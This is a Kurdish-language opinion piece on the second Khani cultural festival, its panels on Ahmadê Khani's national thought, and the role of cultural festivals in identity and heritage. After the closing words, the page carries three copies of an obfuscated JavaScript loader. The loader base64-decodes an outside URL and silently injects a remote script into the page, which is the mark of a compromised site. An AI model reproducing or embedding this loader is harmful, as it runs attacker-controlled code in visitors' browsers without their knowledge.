ڤەستیڤالا خانی و رەهەندێن وێ یێن نەتەوەیی
خالد عەلی سلێڤانەیی
ڤەستیڤالێن رەوشەنبیری رۆلەكی كاریگەر د جڤاكی دا دگێرن، و ئەڤ رۆلە نە ب تنێ د بوارەكی دا كارتێكرنا خوە دكت بەلكو د گەلەك بوارا ندا ب دەرئەنجامێن بەرچاڤ و ل سەر ئاستێن جودا جودا بەرهەمدهینت.
رەوشەنبیری گەلەك ئالیێن ژیانێ ب خۆڤە دگرت، چاند و ئەدەبیات، دیرۆك، هونەر، جڤاك و ئابۆری و یا ژ هەمیێ گرنتتر زمان و كلتور، ئەڤە هەمی پێكڤە د چارچۆڤەیێ گشتی دناڤ كۆمەكا مرڤان دا كو ل سەر ئاخەكێ دژین بەرجەستەیا نەتەوەییێ یە.
لەورا رۆلێ ڤەستیڤالێن رەوشەنبیری ئەرێنییە ب تایبەت ل سەر ئاستێ ب هێزكرنا ناسنامەیا نەتەوەیی و ئینتمائێ، ئەڤ چەند د سەرانسەر هەردو رۆژێن ڤەستیڤالا خانی یا رەوشەنبیری 2 د هەمی پەنەل و چالاكیێن وێ دا یا بەرچاڤ بوو، نەخاسمە فۆكسا مەزن د هندەك پەنەلان دا ل سەر بەرهەمێن نڤیسەرێ مەزن ئەحمەدێ خانی بوو، خودانێ هزرەكا نەتەوەی یا مەزن و بانگهەلدێرێ ئێكگرتنا نەتەوەیێ كورد و دەستنیشانكرنا خالێن رێگرێن نەگەهشتنا مافان. سێ نڤیسكارێن بەرچاڤێن كورد شی ب خواندنێن خوە – هەر چەندە د ماوەیەكی كورت دا بوو – ڤێ چەندێ دیار بكن، كو ل دەستپێكێ دكتور عەبدلرحمان مزوری ب بابەتێ “ هزرا نەتەوەی ل جەم چەند هۆزانڤانێن كلاسیكێن كورد” بابەت ئازراند، پاشی زمانزان و هزرمەند ونڤیسەرێ بەرنیاس د. فازل عومەری بابەتێ“ خانی و نەتەوەسازی” دگەل چەند پێزانینێن زمانی یێن نوی بۆ ئامادەبویان دیار كرن، دویڤدا رێزدار د. ئەحمەد قەرنی ب بابەتێ “ پرسێن بێ بەرسڤێن خانی” میكانیزمەكا وێنەكری نیشادا كا چاوا پێكڤە گرێدانا بابەت و بوارێن رەوشەنبیری ب سەركێشییەكا سیستەمەكی سیاسی نەتەوەكێ پێشڤەدبت. هەر وەسا دویڤدا برگەیا گەگەش و دانوستاندنێ پەنەل ب رەوەنەقتر كر و ب دوماهی ئینا.
هەلبەت ئەز نەشێن دو رۆژێن تژی چالاكی یێن ڤەستیڤالا خانی د گۆتارەكێ دا نیشا بدم، لێ مەبەستا سەرەكی دیاركرنا رۆلێ وی و هەمی چالاكی و ڤەستیڤالێن رەوشەنبیری یێن ساخلەم د پێشڤەبرنا سیستەمێ نەتەوەیی دا.
ڤەستیڤالێن رەوشەنبیری ب پیرۆزكرنا میرات و كلتوور و بهایێن هەڤپارێن دناڤ ئەندامێن نەتەوەیی دا پشكداری ب هێزكرنا ناسنامەیا نەتەوەیی دبن، ئەو دشێن هەستا بلندی و ئایدیەتا نەتەوەی زێدە بكن، ئەڤ چەندە ژی ئالاڤەكێ گرنگێ هاریكارە بۆ خورتكرنا ئێكەتیا نەتەوەیی.
هەر وەسا ئەڤ جۆرە ڤەستیڤالە ئێكەتی و ئێكگرتن ناڤ ئەندامێن جڤاكی ب هێز دكن، نەخاسمە كو نڤیسەر و رۆژنامەڤان و چالاكڤان ژ دەڤەر و پارێزگەهێن جودا جودا دهێن و پشكدار دبن، ئەڤە ژی دبن پرێن كونتاكێ یێن خورت و ئەرێنی دناڤبەرا وان دا كو پەیدا دبن و ئەو ڤالاهیا هەیی د چاند وجڤاكی دا كێمتر لێ دهێت و تێكگەشتنێ دناڤبەرا ئەندام و كۆمێن جودا جودا زێدە دبن.
هەر وەسا ئەڤ جۆرە ڤەستیڤالە میراتێ رەوشەنبیری دپارێزن، ئەو ژی ب نیشادانا هونەرێن كلتووری، چ پێشانگەها وێنەیێن دیرۆكی بن، یان پێشانگەهێن ئامیرەتێن كلتووری بن، یان جل وبەرگ و سەما..هتد.
هەر وەسا ڤەستیڤالێن رەوشەنبیری فاكتەركێ گرنگە بۆ داهاتیێ ئابۆری كو د پێشانگەهێن خودا بەرهەمێن رەوشەنبیری یێن جودا جودا دەمێ دهێن نمایشكرن بۆ فروتنێ و ژ ئالیەكێ ببیت بازارەكێ ڤەژاندنا گەلەك بەرهەمان چ پەرتووك، ئەلبۆمێن میۆزیكێ، وێنە و تابلۆ، ئامیرەتێن كلتووری یێن كو بەرێ بابوبابكالان بكاردهینان.
فەستیڤالێن رەوشەنبیری هاندەرێ گەشكرنا پەروەردە و هشیارێی نە، كولتوورێ هشمەندی و هایداربوونێ دەربارێ مژارێن جورا و جور یێن ئەدەبیات, دیرۆكی و جڤاكی دە پەیدا دكن, كو دبت سەدەما زێدەكرنا هشیاری و زانینێ د ناڤ كۆمەلگەهێ دا.
ئەڤ هەمە ژ بلی سەقایێ كەیف وشاهی و خوەشیا بۆ ئەندامێن پشكدار پەیدا دبن، كو هەست ب گەشكرا خوە یا ەوەنبیری و دەروونی دكن.
زێدەباری كو ڤەكۆلینێن بەرهەمێن نڤیسكار و هۆزانڤانێن نەتەوەیی وەك خانی بۆ نموونە، هەستێ نەتەوەیی و هشا نشتیمانی بلند دكەن ب رێكا گەلەك ئاراستەیان وەك: گەشكرنا ناسنامەیا نەتەوەیی، زینیدكرن وپاراستنا زمانێ دایكێ، بلندنرخاندنا كلتوورێ رەوشەنبیری، بەلاڤكرنا پرنسیپ و بهایێن نەتەوەیی و نشتیمانی، گەشكرنا ئێكگرتن و پێكڤە ژیانێ و چاندنا گیانێ لێبۆرین و قوربانیدانێ، هاندەر وسرووش بۆ وەراركرنا ئەندامێ جڤاكی كو پتر هشیار بت و ئامادە بت بۆ خزمەتا گەل و نەتەوەیێ خوە. بلندكرنا هشا هاوەلاتی ب كێشەیێن نشتیمانی و نەتەوەی و جڤاكی كو ئە ژی هاندەرێ هشیاركرنا هشا وهزرا نەتەوەییە. پشتەڤانیكرنا ناسنامەیا رەوشەنبیری و زانانیا ئەگەرێن پێشڤەبرنێ و ئەگەرێن پاشكەفتنێ و و مفاوەرگرتن ژ شاشیێن دیرۆكی یێن كەڤن.
ل دوماهیێ من دڤێت بێژم كو رۆلێ ڤان جۆرە ڤەستیڤالان گەلەك گرنك ومفادارە، لێ دێ مفاداریا وێ گەلەك مەزنتر و گاریگەرتر لێ هێت ئەگەر ئم د درگەهێ دبلوماتیكا رەوشەبیری دا دەربازی مللەت و نەتەوەیێن دیتر بكن، نەخاسمە ئەم دناڤبەرا گەلەك نەتەوەیێن جودا دا نە، و گەلەك ژ مللەتێن وان نەتەوەیا ب شاشی كێشەیا مە كوردان وەرگرتینە و تێگەهشتیە، ئەڤجا ئەڤ چەندە ژی – ئانكو بكارئینانا دەرگەهێ دبلوماتیكا رەوشەنبیری دێ پتر ئەڤ رۆلێ ئەڤ جۆرە ڤەستیڤالە دگێرن مەزنتر و بەرفرەهتر و كاریگەر تر بت، و ئەڤ چەند نابت بێ كو ئەڤ جۆرە ڤەستیڤالە بۆ گەلەك زمانێن دیتر بهێن وەرگێران.
پەیڤا داوی:
دەستخوەشیێ ل دەزگەهێ خانی و هەمی ئەو كارمەندێن ماندیبووین هەتا ئەڤ ڤەستیڤالە هاتی گێران و دشێم بێژم ب سەركەفتیانە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
